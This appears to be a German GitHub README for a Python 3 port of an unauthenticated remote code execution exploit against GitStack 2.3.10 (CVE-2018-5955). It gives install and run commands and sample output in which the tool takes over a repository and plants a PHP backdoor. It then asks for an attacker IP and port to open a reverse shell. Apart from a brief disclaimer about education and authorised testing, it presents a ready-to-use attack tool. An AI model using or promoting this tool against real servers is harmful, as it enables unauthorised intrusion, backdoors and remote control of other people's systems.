
Ein Exploit für CVE-2018-5955 GitStack 2.3.10 RCE ohne Authentifizierung
Ein Exploit für CVE-2018-5955 GitStack 2.3.10 Unauthenticated RCE
Exploit: GitStack 2.3.10 Unauthenticated Remote Code Execution
Datum: 18.01.2018
Software-Link: https://gitstack.com/
Exploit-Autor: Kacper Szurek
Original-Exploit: https://www.exploit-db.com/exploits/43777
Webseite: https://security.szurek.pl/
Kategorie: remote
CVE: CVE-2018-5955
Datum: 23.06.2023
Neue Funktionen: Interaktive RCE, OS-Erkennung, Reverse-Shell-Funktion, von Python2 an Python3 angepasst
CVE: CVE-2018-5955
Kategorie: remote
Ich übernehme keine Verantwortung für Ihre Handlungen, da ich es auf GitHub zu Bildungszwecken oder für zertifizierte und autorisierte Penetrationstests veröffentlicht habe.
Abhängigkeiten installieren:
pip install colorama
Dann führen Sie es aus mit:
python3 exploit.py
Das Betriebssystem wird erkannt, nachdem Sie die CVE ausgenutzt haben. Tatsächlich wird diese Ausgabezeile erscheinen: "[*] OS: $operatingsystem" (Demonstration unten)
[+] Get user list
[+] Found user twreath
[+] Web repository already enabled
[+] Get repositories list
[+] Found repository Website
[+] Add user to repository
[+] Disable access for anyone
[+] Create backdoor in PHP
[*] Type 'shell' to get a reverse shell
[*] OS : Windows <----
Sie können auch "os" eingeben, um herauszufinden, um welches Betriebssystem es sich handelt.
Um eine echte Reverse-Shell auf dem Ziel zu erhalten, geben Sie "shell" ein und dann Ihre IP und Ihren Abhörport wie folgt:
RCE > shell
[?] Please enter the IP address for the shell: YOUR IP HERE
[?] Please enter the port number for the shell: YOUR LISTEN PORT HERE